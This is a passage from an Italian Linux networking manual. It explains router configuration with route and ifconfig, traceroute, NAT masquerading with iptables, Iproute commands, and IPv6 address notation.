Anche quando si definisce l'instradamento predefinito, è importante osservare che questo appare per ultimo nella tabella relativa. Infatti, la rete 0.0.0.0/0.0.0.0 include tutti gli indirizzi IPv4, ma il fatto che gli intervalli di indirizzi più ristretti appaiono prima, evita di fare confusione.

38.10.3 Configurazione di un router con un sistema GNU/Linux

Un elaboratore che debba fungere da router richiede alcune caratteristiche particolari:

- un kernel compilato in modo da consentire l'inoltro di pacchetti da un'interfaccia a un'altra (nelle versioni vecchie del kernel Linux è necessario abilitare un'opzione apposita, tra quelle della configurazione della rete; sezione 8.3.7);
- due o più interfacce di rete connesse ad altrettante reti fisiche differenti;
- la configurazione corretta di ogni interfaccia di rete;
- una tabella di instradamento in grado di permettere l'accesso a tutte le reti che si diramano dalle interfacce di rete installate.

Quando il kernel Linux dispone della funzionalità di *forwarding/gatewaying* (dovrebbe essere implicita), questa può essere controllata attraverso un file del file system virtuale '`/proc/`'. Per motivi di sicurezza, alcune distribuzioni GNU/Linux sono predisposte in modo da disattivare questa funzionalità attraverso uno dei comandi inseriti nella procedura di inizializzazione del sistema. Per riattivare il *forwarding/gatewaying*, si può agire nel modo seguente:

echo 1 > /proc/sys/net/ipv4/ip_forward [*Invio*]

38.10.3.1 Router unico per tutte le reti

La situazione più comune in una piccola rete è quella in cui tutte le reti sono connesse a un router unico. Negli esempi che seguono si fa riferimento alla situazione seguente:

- rete A Ethernet 192.168.1.0
  - l'interfaccia del router connessa su questa rete è '**eth0**'
  - l'indirizzo dell'interfaccia connessa su questa rete è 192.168.1.254
- rete B Ethernet 192.168.2.0
  - l'interfaccia del router connessa su questa rete è '**eth1**'

– l’indirizzo dell’interfaccia connessa su questa rete è 192.168.2.254

- connessione PLIP con il portatile 192.168.3.1
  – l’interfaccia del router connessa su questa rete è ‘**`plip1`**’
  – l’indirizzo dell’interfaccia connessa su questa rete è 192.168.3.254

Figura 38.120. Schema dell’esempio di un router connesso su due reti e a un portatile attraverso un cavo PLIP.

All’interno del router si devono configurare le interfacce di rete nel modo seguente:

`ifconfig eth0 192.168.1.254 netmask 255.255.255.0` [*Invio*]

`ifconfig eth1 192.168.2.254 netmask 255.255.255.0` [*Invio*]

`ifconfig plip1 192.168.3.254 pointopoint 192.168.3.1` [*Invio*]

Successivamente si devono definire gli instradamenti.

`route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0` [*Invio*][16]

`route add -net 192.168.2.0 netmask 255.255.255.0 dev eth1` [*Invio*][17]

`route add -host 192.168.3.1 dev plip1` [*Invio*]

`route add -host 192.168.3.254 dev plip1` [*Invio*]

Dal punto di vista del router è tutto finito. Gli altri elaboratori devono definire degli instradamenti opportuni in modo da utilizzare il router quando necessario. In particolare, gli elaboratori connessi alla rete A (192.168.1.0), per poter accedere agli altri elaboratori della propria rete locale e delle altre due raggiungibili tramite il router, devono inserire gli instradamenti seguenti.

`route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0` [*Invio*][18]

`route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.1.254` [*Invio*]

route add -host 192.168.3.1 gw 192.168.1.254 [*Invio*]

Dal momento però che non si può accedere ad alcuna altra rete, si può fare riferimento all'instradamento predefinito. Sempre dal punto di vista degli elaboratori della rete A, si possono definire gli instradamenti nel modo seguente:

route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0 [*Invio*][19]

route add -net default gw 192.168.1.254 [*Invio*]

Il caso dell'elaboratore portatile connesso attraverso la porta parallela con un cavo PLIP, è un po' particolare: è evidente che tutto il traffico debba essere filtrato dal router, a parte quello diretto proprio al router stesso. Dal punto di vista del portatile si devono definire gli instradamenti seguenti.

route add -host 192.168.3.254 dev plip1 [*Invio*]

route add -host 192.168.3.1 dev plip1 [*Invio*]

route add -net default gw 192.168.3.254 [*Invio*]

38.10.3.2 Router verso un altro router

Quando la rete diventa complicata, ci può essere la necessità di utilizzare più router per collegare insieme le diverse sottoreti. In tal caso, evidentemente, la tabella di instradamento dei router si trova a contenere instradamenti che a loro volta utilizzano altri router.

Negli esempi si fa riferimento alla situazione seguente:

- rete A Ethernet 192.168.1.0
  - l'interfaccia del router A connessa su questa rete è '**eth0**' e ha l'indirizzo 192.168.1.254
- rete R Ethernet 192.168.254.0 utilizzata esclusivamente per collegare i router
  - l'interfaccia del router A connessa su questa rete è '**eth1**' e ha l'indirizzo 192.168.254.1
  - l'interfaccia del router B connessa su questa rete è '**eth1**' e ha l'indirizzo 192.168.254.2
- rete B Ethernet 192.168.2.0
  - l'interfaccia del router B connessa su questa rete è '**eth0**' e ha l'indirizzo 192.168.2.254

Figura 38.121. Schema dell’esempio di due router connessi tra loro da una dorsale.

nodo nodo nodo nodo nodo nodo nodo
192.168.1.0
192.168.1.254 eth0
router A
192.168.254.1 eth1
192.168.254.0
192.168.254.2 eth1
router B
192.168.2.254 eth0
nodo nodo nodo nodo nodo
192.168.2.0

Il router A deve poter raggiungere tutte e tre le reti: sulla rete A e R è connesso direttamente, mentre per la rete B deve fare affidamento sul router B.

route add -net 192.168.1.0 netmask 255.255.255.0 dev eth0 [*Invio*][20]

route add -net 192.168.254.0 netmask 255.255.255.0 dev eth1 [*Invio*][21]

route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.254.2 [*Invio*]

Il router B deve agire in modo analogo.

route add -net 192.168.2.0 netmask 255.255.255.0 dev eth0 [*Invio*][22]

route add -net 192.168.254.0 netmask 255.255.255.0 dev eth1 [*Invio*][23]

route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.254.1 [*Invio*]

38.10.4 Verifica di un instradamento attraverso i router

Lo strumento fondamentale per la verifica degli instradamenti è sempre '**`ping`**'. In presenza di router si introduce un concetto nuovo, quello del nodo da attraversare. L'attraversamento di un nodo di rete viene definito comunemente ***salto***, oppure *hop*; in particolare si pone un limite a questi salti, definito TTL (*Time to live*), oltre il quale i pacchetti vengono scartati.

In pratica, i pacchetti IP contengono l'indicazione del valore TTL massimo, il quale viene decrementato all'attraversamento di ogni router, a opera dello stesso. Quando si raggiunge lo zero, il pacchetto viene scartato, inviando all'origine un messaggio ICMP di errore.

Figura 38.122. Esempio di un pacchetto che esaurisce il suo TTL.

In situazioni particolari, il transito dei pacchetti verso una destinazione particolare potrebbe essere impossibile, a causa del numero di salti che si frappongono e a causa del limite troppo basso del campo TTL dei pacchetti IP. Generalmente, '**`ping`**' utilizza un valore TTL di 255, cioè il massimo possibile, cosa che consente di verificare gli instradamenti al limite delle loro possibilità, ma non permette di prevedere il funzionamento corretto di altri tipi di connessioni, in cui si utilizzino valori TTL inferiori.

Per verificare quale sia il percorso utilizzato effettivamente dai pacchetti per raggiungere una destinazione, si utilizza Traceroute,[24] a cui corrisponde l'eseguibile '**`traceroute`**' che si usa con la sintassi seguente:

```
traceroute [opzioni] destinazione [lunghezza]
```

Traceroute, oltre che individuare il percorso effettivo verso la destinazione, può dare delle indicazioni per aiutare a comprendere in quale punto ci sono delle difficoltà.

Traceroute inizia la trasmissione di pacchetti (utilizzando il protocollo UDP) con un valore TTL molto basso. In tal modo, si aspetta di ricevere un messaggio di errore, attraverso il protocollo ICMP, dal nodo in cui il valore TTL raggiunge lo zero. Incrementando lentamente il valore TTL, Traceroute riesce a conoscere gli indirizzi dei nodi attraversati, purché tutto funzioni come previsto (cioè che i vari nodi generino correttamente i pacchetti ICMP di errore). Per individuare correttamente anche l'ultimo nodo, Traceroute cerca di generare un errore differente, per ottenere un messaggio ICMP distinguibile dagli altri.

Figura 38.123. I pacchetti inviati da Traceroute servono a generare errori nei vari router attraversati, fino alla destinazione.

TTL=0
TTL=1
TTL=2
origine router router destinazione
ICMP 11
ICMP 11
ICMP 3/3

Quando tutto funziona come previsto, Traceroute genera un elenco di nodi di rete a partire dal primo che viene attraversato, fino all'ultimo che rappresenta la destinazione richiesta. Se in alcuni punti non si ottiene risposta, i nodi ipotizzati vengono segnalati con degli asterischi. Nell'esempio seguente, si ipotizza la presenza di due nodi sconosciuti, al terzo e quarto posto della catena.

`#` **`traceroute portatile.plip.dg`** [*Invio*]

```
traceroute to portatile.plip.dg (192.168.254.1), 30 hops max, 40 byte
packets
 1  dinkel.brot.dg (192.168.1.1)  0.433 ms  0.278 ms  0.216 ms
 2  router.brot.dg (192.168.1.254)  2.335 ms  2.278 ms  3.216 ms
 3  * * *
 4  * * *
 5  portatile.plip.dg (192.168.254.1)  10.654 ms  13.543 ms  11.344 ms
```

Sui nodi da cui non si ottiene una risposta, non si può dire nulla di certo, ma solo fare delle congetture. In generale non si può nemmeno essere certi che si tratti effettivamente di due nodi: potrebbe essere un solo nodo, oppure più di due. La documentazione di Traceroute, *traceroute(8)*, dà delle indicazioni in più su come interpretare il risultato.

Tabella 38.125. Alcune opzioni per l'eseguibile '**`traceroute`**'.

Nome	Descrizione
`-m` ***ttl_massimo***	Definisce il numero massimo di nodi da attraversare, per mezzo dell'indicazione del valore TTL massimo da raggiungere. Se l'opzione non viene usata, il valore TTL massimo è di 30 salti.
`-n`	Mostra solo indirizzi numerici invece di tentare di determinare i nomi simbolici dei nodi. Questo tipo di approccio potrebbe essere utile specialmente quando si hanno difficoltà ad accedere a un servizio di risoluzione dei nomi, o comunque quando si vuole avere la situazione completamente sotto controllo.
`-s` ***indirizzo_di_origine***	Permette di indicare espressamente l'indirizzo di origine dei pacchetti, nell'eventualità l'elaboratore abbia più di un'interfaccia di rete. Deve trattarsi di un indirizzo corrispondente a un'interfaccia di rete locale.

38.11 Inoltro IP attraverso il NAT/PAT

Un problema simile a quello dell'instradamento attraverso i router è quello dell'inoltro di pacchetti IP attraverso un router NAT/PAT (*Network address translation*, *Port address translation*). La differenza sta nel fatto che, in questo caso, il router NAT/PAT si occupa di modificare sistematicamente i pacchetti e non solo di «girarli» attraverso l'interfaccia giusta.

Figura 38.126. Schema di utilizzo di un router NAT/PAT.

nodo nodo nodo nodo nodo nodo nodo
rete locale
192.168.2.0
router
192.168.1.0
altre destinazioni locali
192.168.0.0/16
rete esterna
NAT/PAT
0.0.0.0/0

Il meccanismo NAT/PAT permette tipicamente a una rete locale che utilizza indirizzi IPv4 riservati alle reti private (cioè esclusi dalla rete Internet e come tali irraggiungibili) di accedere all'esterno. In tal caso, tutto il traffico con la rete esterna viene intrattenuto (apparentemente) dal router NAT/PAT che si occupa di inoltrare le risposte all'interno della rete locale. Ciò significa che all'esterno appare sempre solo un elaboratore, il router NAT/PAT, mentre dall'esterno non c'è modo di accedere agli elaboratori della rete locale perché questi non hanno un indirizzo accessibile.

Nel caso dei sistemi GNU/Linux la gestione dell'inoltro dei pacchetti attraverso il meccanismo NAT/PAT richiede che il kernel sia predisposto opportunamente (sezione 8.3.7).

38.11.1 Instradamento dal router NAT/PAT e verso il router NAT/PAT

Il router NAT/PAT, prima di poter compiere il suo lavoro, deve possedere una tabella degli instradamenti configurata in base alle sue interfacce di rete. Per la precisione, seguendo l'esempio mostrato nella figura 38.126, si nota che il router NAT/PAT, su una certa interfaccia, deve essere instradato nella rete 192.168.1.0, mentre per raggiungere la rete 192.168.2.0 deve appoggiarsi a un altro router. Attraverso l'altra interfaccia, quella connessa alla rete esterna, bisogna che passi il traffico per la rete predefinita, cioè 0.0.0.0. Ciò equivale a dire che si preparano gli instradamenti specifici delle varie parti della rete locale e che l'instradamento verso l'esterno corrisponde a quello predefinito.

Per il resto della rete locale, l'instradamento predefinito deve portare al router NAT/PAT, perché solo lui è in grado di gestire il traffico con gli indirizzi esterni alla rete locale.

38.11.2 Definizione della traduzione degli indirizzi

Il meccanismo NAT/PAT deve essere impostato definendo i gruppi di indirizzi (cioè le sottoreti) di origine e di destinazione. L'esempio mostrato nella figura 38.126 mostra che il router NAT/PAT è connesso a una rete locale scomposta in diverse sottoreti. Per la precisione si vedono due sottoreti, 192.168.1.0 e 192.168.2.0, ma si lascia intendere che potrebbero essercene altre (192.168.3.0,...). In tal senso, gli indirizzi da inoltrare all'esterno sono tutti quelli della rete 192.168.0.0/255.255.0.0, dove il secondo indirizzo è la maschera di rete.

In questa situazione, la notazione appena vista viene abbreviata comunemente in 192.168.0.0/16, dove il numero 16 rappresenta la quantità di bit a uno della maschera di rete.

Dall'altra parte, gli indirizzi di destinazione sono semplicemente tutti gli altri, cosa che si indica semplicemente con la notazione 0.0.0.0/0.0.0.0, ovvero 0.0.0.0/0.

38.11.3 Configurazione e controllo con iptables

Il programma '**`iptables`**' è ciò che serve per attivare e controllare la gestione del NAT/PAT con un kernel Linux. Per la precisione, l'impostazione viene definita attraverso delle ***regole***: prima di definire qualcosa si inizia con la loro cancellazione.

> L'esempio che viene proposto ha il solo scopo di mettere in funzione la gestione NAT/PAT, mentre si eliminano tutti i sistemi di protezione legati alla gestione di un firewall. Pertanto, si possono usare tranquillamente solo se non esiste ancora alcuna configurazione per il filtro dei pacchetti IP.

`# iptables -t filter -F` [*Invio*]

`# iptables -t mangle -F` [*Invio*]

`# iptables -t nat -F` [*Invio*]

`# iptables -t filter -X` [*Invio*]

`# iptables -t mangle -X` [*Invio*]

`# iptables -t nat -X` [*Invio*]

Successivamente è il caso di definire una ***politica predefinita*** (*policy*), ovvero il comportamento normale per i comandi successivi, a meno di non specificare diversamente.

`# iptables -P FORWARD ACCEPT` [*Invio*]

Infine è necessario definire come inoltrare i pacchetti tra le interfacce. Quello che segue si riferisce sempre all'esempio di figura 38.126, dove si suppone in particolare che l'interfaccia collegata all'esterno sia '**`eth0`**'.[25]

`# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE` [*Invio*]

Se con questi comandi '**iptables**' si «lamenta» generando delle segnalazioni di errore, è probabile che il kernel non sia in grado di gestire l'inoltro IP o il NAT/PAT (la traduzione degli indirizzi). Si può comunque verificare con i comandi seguenti:

iptables -t filter -L -n [*Invio*]

```
Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

iptables -t mangle -L -n [*Invio*]

```
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

iptables -t nat -L -n [*Invio*]

```
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
MASQUERADE  all  --  0.0.0.0/0            0.0.0.0/0

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
```

Se invece tutto è andato bene, si possono inserire questi comandi all'interno dei file utilizzati per l'inizializzazione del sistema; per esempio '`/etc/rc.local`' o altro simile.

```
...
/sbin/iptables -t filter -F
/sbin/iptables -t mangle -F
/sbin/iptables -t nat    -F
/sbin/iptables -t filter -X
/sbin/iptables -t mangle -X
/sbin/iptables -t nat    -X
/sbin/iptables -P FORWARD ACCEPT
/sbin/iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
/sbin/iptables -t filter -L -n
/sbin/iptables -t mangle -L -n
/sbin/iptables -t nat    -L -n
```

38.11.4 Note finali

I comandi mostrati che definiscono l'inoltro IP non fanno riferimento a interfacce di rete specifiche, ma solo a indirizzi di rete. Perché il router NAT/PAT sappia da che parte inoltrare i pacchetti, è necessario che gli instradamenti siano stati definiti correttamente.

Questo tipo di configurazione del router NAT/PAT ignora completamente tutte le considerazioni che riguardano la sicurezza e tutte le forme di controllo del transito dei pacchetti. In particolare, la descrizione del funzionamento di '**`iptables`**' può essere reperita nella pagina di manuale *iptables(8)*; inoltre, si può leggere il capitolo 47.

In questo tipo di configurazione, è necessario che la gestione dell'inoltro dei pacchetti sia attiva. Non basta che il kernel sia stato predisposto (ammesso che sia ancora necessario), perché la funzione di inoltro (appartenente alla gestione dell'instradamento) potrebbe essere stata inibita da un comando contenuto nella procedura di inizializzazione del sistema, come già descritto nelle sezioni dedicate al router in generale.

38.12 IPv4 con il pacchetto Iproute

Iproute, ovvero *Linux traffic control engine*,[26] è un pacchetto di programmi di servizio per comunicare con il kernel Linux allo scopo di configurare nel dettaglio le interfacce di rete e l'instradamento. Il programma più importante del pacchetto corrisponde all'eseguibile '**`ip`**' e il suo utilizzo è piuttosto complesso.

Qui si riprendono in particolare degli esempi comuni di configurazione, già mostrati in altre situazioni, ma definiti attraverso '**`ip`**'. Il funzionamento di Iproute non viene descritto nel dettaglio; eventualmente conviene consultare la sua documentazione originale.

Dal momento che Iproute tiene in considerazione lo stato precedente della configurazione delle interfacce e degli instradamenti, vengono mostrati esempi che potrebbero anche risultare ridondanti, in cui le informazioni, prima di essere definite, vengono cancellate, anche nel caso non ce ne fosse bisogno.

Quando si intende gestire una rete IPv4, Iproute risulta eccessivamente complesso da usare; tuttavia, Iproute diventa indispensabile con IPv6 e qui si introduce al suo utilizzo, attraverso esempi comuni che possono essere confrontati facilmente.

38.12.1 Sintassi generale

Il programma eseguibile principale di Iproute è '**`ip`**', la cui sintassi ha una struttura particolare, riassumibile nel modello seguente:

ip [*opzioni*] *oggetto* [*comando* [*argomenti*]]

Alcune opzioni rilevanti sono elencate nella tabella seguente; si può osservare che con queste si definisce in particolare il protocollo di riferimento:

Opzione	Descrizione

`-s`
`-stats`
`-statistics`
	richiede maggiori informazioni;

`-f inet`
`-family inet`
`-4`
	fa riferimento ai protocolli IPv4;

`-f inet6`
`-family inet6`
`-6`
	fa riferimento ai protocolli IPv6;

`-f link`
`-family link`
`-0`
	non fa riferimento ad alcun protocollo.

L'oggetto è ciò su cui si vuole intervenire, o dal quale si vogliono ottenere delle informazioni. Si rappresenta con una parola chiave:

Parola chiave	Descrizione
`link`	si tratta di un dispositivo di rete;
`address`	si fa riferimento a un indirizzo del protocollo coinvolto;
`address`	si fa riferimento a un indirizzo IPv4 o IPv6, in base al contesto;
`neighbour`	fa riferimento alla tabella ARP (IPv4) o NDISC (IPv6);
`route`	interviene nella tabella degli instradamenti;
`rule`	fa riferimento a una regola nella politica degli instradamenti;

Parola chiave	Descrizione
`maddress`	indirizzo multicast;
`mroute`	instradamento multicast;
`tunnel`	tunnel su IPv4.

Il comando che può seguire l'indicazione dell'oggetto rappresenta l'azione da compiere e dipende dall'oggetto stesso. Alcuni comandi comuni sono:

Comando	Descrizione
`add`	aggiunge qualcosa all'oggetto;
`delete`	toglie qualcosa dall'oggetto;
`show` `list`	mostra la situazione dell'oggetto;
`help`	mostra una guida sintetica dell'uso dell'oggetto;

38.12.2 Configurazione comune delle interfacce di rete

Viene riproposto un esempio che appare già in altre sezioni:

elaboratore A
127.0.0.1 lo
plip1
192.168.7.1
192.168.7.2
plip1
elaboratore B
127.0.0.1 lo
192.168.1.1
eth0
rete 192.168.1.0

Lo schema mostra la situazione di due elaboratori, riassumibile sinteticamente nelle due tabelle seguenti, riferite rispettivamente all'elaboratore «A» e all'elaboratore «B»:

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
lo	virtuale	127.0.0.1	255.0.0.0	127.255.255.255	--
plip1	porta parallela	192.168.7.1	255.255.255.255	--	192.168.7.2
eth0	Ethernet	192.168.1.1	255.255.255.0	192.168.1.255	--

Interfaccia	Tipo	Indirizzo IP	Maschera di rete	Indirizzo broadcast	Indirizzo punto-punto
lo	virtuale	127.0.0.1	255.0.0.0	127.255.255.255	--
plip1	porta parallela	192.168.7.2	255.255.255.255	--	192.168.7.1

La configurazione dell'interfaccia di rete virtuale locale, si può ottenere con i comandi

seguenti, in entrambi gli elaboratori:

```
# ip -4 address del 127.0.0.1/8 dev lo[Invio]

# ip -4 address add 127.0.0.1/8 dev lo broadcast 127.255.255.255 ←
↪      scope host[Invio]

# ip link set up dev lo[Invio]
```

Come si può intuire, viene prima cancellata la configurazione associata all'indirizzo 127.0.0.1, con una maschera di rete pari ai primi 8 bit (255.0.0.0); quindi si imposta di nuovo l'indirizzo e gli altri dati accessori; infine si attiva l'interfaccia. Per controllare la situazione vanno usati comandi diversi, in base al contesto. Per conoscere lo stato dell'interfaccia:

```
# ip link show dev lo[Invio]
```

```
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
```

Per conoscere l'indirizzo IPv4 associato all'interfaccia:

```
# ip -4 address show dev lo[Invio]
```

```
1: lo: <LOOPBACK,UP> mtu 16436 qdisc noqueue
    inet 127.0.0.1/8 brd 127.255.255.255 scope host lo
```

La configurazione di una scheda di rete Ethernet procede in modo simile:

```
# ip -4 address del local 192.168.1.1/24 dev eth0[Invio]

# ip -4 address add local 192.168.1.1/24 dev eth0 ←
↪      broadcast 192.168.1.255 scope site[Invio]

# ip link set up dev eth0[Invio]

# ip link show dev eth0[Invio]
```

```
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    link/ether 00:4f:56:00:11:87 brd ff:ff:ff:ff:ff:ff
```

```
# ip -4 address show dev eth0[Invio]
```

```
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet 192.168.1.1/24 brd 192.168.1.255 scope site eth0
```

La configurazione di un'interfaccia di rete per le connessioni punto-punto, diventa più complessa; per semplicità si mostra solo la configurazione dal lato dell'elaboratore «A»:

```
# ip -4 address del local 192.168.7.1/32 dev plip0[Invio]

# ip -4 address add local 192.168.7.1/32 peer 192.168.7.2 ←
↪       dev plip0 scope site[Invio]

# ip link set up dev plip0[Invio]
```

`# ip link show dev plip0` [*Invio*]

```
2: plip0: <POINTOPOINT,NOARP,UP> mtu 1500 qdisc pfifo_fast qlen 10
    link/ether fc:fc:c0:a8:01:0a peer ff:ff:ff:ff:ff:ff
```

`# ip -4 address show dev plip0` [*Invio*]

```
2: plip0: <POINTOPOINT,NOARP,UP> mtu 1500 qdisc pfifo_fast qlen 10
    link/ether fc:fc:c0:a8:01:0a peer ff:ff:ff:ff:ff:ff
    inet 192.168.7.1 peer 192.168.7.2/32 scope site plip0
```

In questi esempi è inserito l'ambito di competenza degli indirizzi usati. In particolare, la definizione '**`scope site`**', specifica che si tratta di indirizzi validi nell'ambito del sito, inteso come un insieme di sottoreti, in cui i nodi non hanno accesso all'esterno. Ciò è mostrato in questo modo perché gli indirizzi usati sono riservati per le reti private e non sono accessibili dalla rete globale.

38.12.3 Indirizzi multipli per una stessa interfaccia di rete

Nella sezione 38.8.2.2 viene mostrata l'attribuzione di più indirizzi IPv4 alla stessa interfaccia di rete, attraverso l'uso di nomi particolari per l'interfaccia stessa:

interfaccia_reale **:** ***n_interfaccia_virtuale***

In realtà, con i kernel Linux recenti non è necessario distinguere tra «interfacce virtuali»; tuttavia, per questioni di compatibilità, si mantiene questa gestione. Si osservi in particolare che quanto segue i due punti verticali, non deve essere necessariamente un numero, ma può essere anche un altro tipo di stringa.

Figura 38.143. Esempio di utilizzo di più indirizzi sulla stessa interfaccia.

nodo nodo nodo nodo nodo nodo nodo nodo
192.168.100.0 <---- ----> 192.168.1.0
192.168.100.254 eth0:0 eth0 192.168.1.254
router

La figura 38.143 richiama un esempio già mostrato a proposito dell'attribuzione di più indirizzi IPv4 alla stessa interfaccia di rete, con l'uso di Ifconfig. Per ottenere lo stesso risultato con Iproute, si può procedere nel modo seguente:

`# ip -4 address del local 192.168.1.254/24 dev eth0` [*Invio*]

```
# ip -4 address add local 192.168.1.254/24 dev eth0 ↩
↪       broadcast 192.168.1.255 scope site [Invio]

# ip link set up dev eth0 [Invio]

# ip -4 address del local 192.168.100.254/24 dev eth0 [Invio]

# ip -4 address add local 192.168.100.254/24 dev eth0 ↩
↪       label eth0:0 broadcast 192.168.100.255 scope site [Invio]

# ip link set up dev eth0 [Invio]

# ip -4 address show dev eth0 [Invio]
```

```
3: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast qlen 100
    inet 192.168.1.254/24 brd 192.168.1.255 scope site eth0
    inet 192.168.100.254/24 brd 192.168.100.255 scope site eth0:0
```

Per eliminare completamente la configurazione di una certa interfaccia, compresi gli indirizzi aggiuntivi, si può usare il comando seguente:

```
# ip -4 address flush dev eth0 [Invio]
```

38.12.4 ARP

La gestione della tabella ARP, ovvero ciò che consente un abbinamento tra gli indirizzi IPv4 e gli indirizzi di livello due (secondo il modello ISO-OSI), può essere molto complessa. Qui vengono mostrati solo alcuni esempi che si rifanno in pratica all'uso del comando '**arp**'.

- # **ip -4 neighbour show dev eth0** [*Invio*]

  Mostra la tabella ARP relativa a quanto collegato fisicamente all'interfaccia '**eth0**'.

- # **ip -4 neighbour del 192.168.1.2 dev eth0** [*Invio*]

  Cancella le voci riferite al nodo 192.168.1.2, per il collegamento relativo all'interfaccia '**eth0**', contenute nella tabella ARP.

- # **ip -4 neighbour flush dev eth0** [*Invio*]

  Cancella tutte le voci riferite all'interfaccia di rete '**eth0**', contenute nella tabella ARP.

38.12.5 Instradamento

Con Iproute è necessario definire tutti gli instradamenti, compreso quello locale che non è implicito nella definizione degli indirizzi. Riprendendo la situazione descritta nella sezione 38.12.2, si può descrivere l'instradamento con le due tabelle seguenti, riferite rispettivamente al nodo A e al nodo B:

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0
192.168.7.1	255.255.255.255	--	plip1
192.168.7.2	255.255.255.255	--	plip1
127.0.0.0	255.0.0.0	--	lo

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.7.1	255.255.255.255	--	plip1
192.168.7.2	255.255.255.255	--	plip1
127.0.0.0	255.0.0.0	--	lo

elaboratore A
127.0.0.1 lo
plip1
192.168.7.1
192.168.7.2
plip1
elaboratore B
127.0.0.1 lo
192.168.1.1
eth0
rete 192.168.1.0

Entrambi i nodi devono configurare l'instradamento locale (interfaccia '**lo**'):

```
# ip -4 route replace to unicast 127.0.0.0/8 scope host dev lo [Invio]
```

Per visualizzare l'instradamento impostato:

```
# ip -4 route show [Invio]
```

```
127.0.0.0/8 dev lo  scope host
```

L'instradamento dell'elaboratore A nella rete 192.168.1.* si ottiene in modo altrettanto semplice:

```
# ip -4 route replace to unicast 192.168.1.0/24 scope link ↩
↪      dev eth0 [Invio]
```

```
# ip -4 route show [Invio]
```

```
192.168.1.0/24 dev eth0  scope link
```

L'instradamento, sia dell'elaboratore A, sia dell'elaboratore B, per quanto riguarda la connessione punto-punto, si può ottenere così:

```
# ip -4 route replace to unicast 192.168.7.1/32 scope link ↩
↪      dev plip1 [Invio]
```

```
# ip -4 route replace to unicast 192.168.7.2/32 scope link ↩
↪      dev plip1 [Invio]
```

```
# ip -4 route show [Invio]
```

```
192.168.7.1/32 dev plip1  scope link
192.168.7.2/32 dev plip1  scope link
```

Indipendentemente dagli esempi precedenti, si può prendere ora in considerazione il caso di un nodo, connesso alla rete locale 192.168.1.*, nella quale è disponibile un router, all'indirizzo 192.168.1.254, che consente di accedere alla rete 192.168.7.*:

Destinazione	Maschera di rete	Router	Interfaccia di rete
192.168.1.0	255.255.255.0	--	eth0
192.168.7.0	255.255.255.0	192.168.1.254	eth0

Per realizzare l'instradamento verso il router, si può usare il comando seguente:

```
# ip -4 route replace to unicast 192.168.7.0/24 scope site ↩
↪       via 192.168.1.254 [Invio]
```

Si osservi che l'instradamento verso la rete 192.168.1.∗ deve essere stato definito precedentemente; così si determina in modo automatico anche l'interfaccia coinvolta, corrispondente a quella necessaria a raggiungere il router nella rete locale.

```
# ip -4 route show [Invio]
```

```
192.168.7.0/24 via 192.168.1.254 dev eth0  scope site
192.168.1.0/24 dev eth0  scope link
```

La definizione dell'instradamento predefinito funziona in modo analogo. Supponendo che il router raggiungibile all'indirizzo 192.168.1.254 consenta di instradare verso tutte le altre reti, si può cambiare il comando nel modo seguente:

```
# ip -4 route replace to unicast 0/0 scope global ↩
↪       via 192.168.1.254 [Invio]
```

```
# ip -4 route show [Invio]
```

```
192.168.1.0/24 dev eth0  scope link
default via 192.168.1.254 dev eth0
```

La cancellazione di un instradamento si ottiene in modo analogo a quanto visto a proposito dell'impostazione dell'indirizzo dell'interfaccia. Per esempio, volendo cancellare l'instradamento per la rete locale 192.168.1.∗, si può procedere nel modo seguente:

```
# ip -4 route del to unicast 192.168.1.0/24 [Invio]
```

Inoltre, è possibile usare un comando più esteso, per cancellare tutti gli instradamenti che corrispondono a una certa interfaccia:

```
# ip -4 route flush dev eth0 [Invio]
```

38.13 Introduzione a IPv6

I protocolli di Internet che intervengono nel terzo livello del modello ISO-OSI (rete), sono IPv4 e IPv6. L'introduzione di IPv6 si è resa necessaria per la penuria di indirizzi disponibili con il protocollo IPv4; infatti, l'aspetto più appariscete di IPv6 è il modo di indicare gli indirizzi, che da 32 passano a 128 bit.

38.13.1 Rappresentazione simbolica di un indirizzo IPv6

La rappresentazione testuale simbolica standard di un indirizzo IPv6 è nella forma:

x:*x*:*x*:*x*:*x*:*x*:*x*:*x*

L'indirizzo viene suddiviso in gruppetti di 16 bit (coppie di ottetti), utilizzando i due punti ('`:`') come simbolo di separazione. Questi gruppetti di 16 bit vengono rappresentati in esadecimale, utilizzando solo le cifre che servono, dove queste possono essere al massimo quattro. Per esempio, l'indirizzo

```
fe80:0000:0000:0000:02a0:24ff:fe77:4997
```

si può ridurre semplicemente a:

```
fe80:0:0:0:2a0:24ff:fe77:4997
```

Viene consentita anche una semplificazione ulteriore in presenza di gruppetti adiacenti che risultano azzerati: una coppia di due punti ('`::`') rappresenta una sequenza indefinita di gruppetti azzerati e può essere usata una volta sola in un indirizzo. In questo modo, l'esempio precedente può essere ridotto a quello che segue:

```
fe80::2a0:24ff:fe77:4997
```

In pratica, si deve intendere che quello che manca per completare l'indirizzo in corrispondenza del simbolo '`::`', contiene solo gruppetti di 16 bit azzerati.

Figura 38.157. Fasi della semplificazione di un indirizzo IPv6.

```
fe80 : 0000 : 0000 : 0000 : 02a0 : 24ff : fe77 : 4997

